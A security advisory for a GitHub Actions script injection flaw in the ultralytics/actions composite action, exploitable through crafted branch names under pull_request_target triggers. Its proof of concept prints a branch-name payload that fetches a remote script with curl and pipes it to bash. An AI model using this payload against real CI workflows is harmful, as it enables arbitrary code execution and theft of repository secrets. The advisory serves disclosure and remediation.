GHSA-7x29-qqmq-v6qc GitHub Actions Script Injection in `ultralytics/actions`
Attackers can execute arbitrary code in workflows using the Ultralytics action with pull_request_target triggers by injecting payloads into branch names.
- Exploited in the wild
- Not known
- Login needed
- Any signed-in user
- Attackable
- Over the internet
- Victim action needed
- A user has to click or open something
- Fix
- Available
What is GHSA-7x29-qqmq-v6qc?
GHSA-7x29-qqmq-v6qc is a code injection vulnerability in ultralytics/actions, published on 14 Aug 2024. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.
Official description
Summary
The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.
Details
The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step:
echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
echo "github.ref: ${{ github.ref }}"
echo "github.head_ref: ${{ github.head_ref }}"
echo "github.base_ref: ${{ github.base_ref }}"
In this case, github.head_ref and github.event.pull_request.head.ref are user controlled and can be used to inject code.
PoC
Create a fork of any repository that uses
ultralytics/actionswithin a workflow that runs onpull_request_target.In the fork create a branch as an injection payload, e.g.:
Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bashCreate a draft pull request.
If the action is reachable, then achieve arbitrary code execution.
See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.
Impact
Any workflow that uses the action and runs on pull_request_target is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN or steal secrets from the workflow.
Fix
Sanitize the user-controlled variables using environment vars.
Which versions are affected by GHSA-7x29-qqmq-v6qc?
1 open source package ship an affected version, including ultralytics/actions.
| Package | Affected | Fixed in |
|---|---|---|
ultralytics/actions GitHub Actions | All versions | 0.0.3 |
How do I fix GHSA-7x29-qqmq-v6qc?
Upgrade ultralytics/actions to 0.0.3 or later.
Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.
Is GHSA-7x29-qqmq-v6qc being exploited?
There is no known exploitation of GHSA-7x29-qqmq-v6qc in the wild and no public exploit code.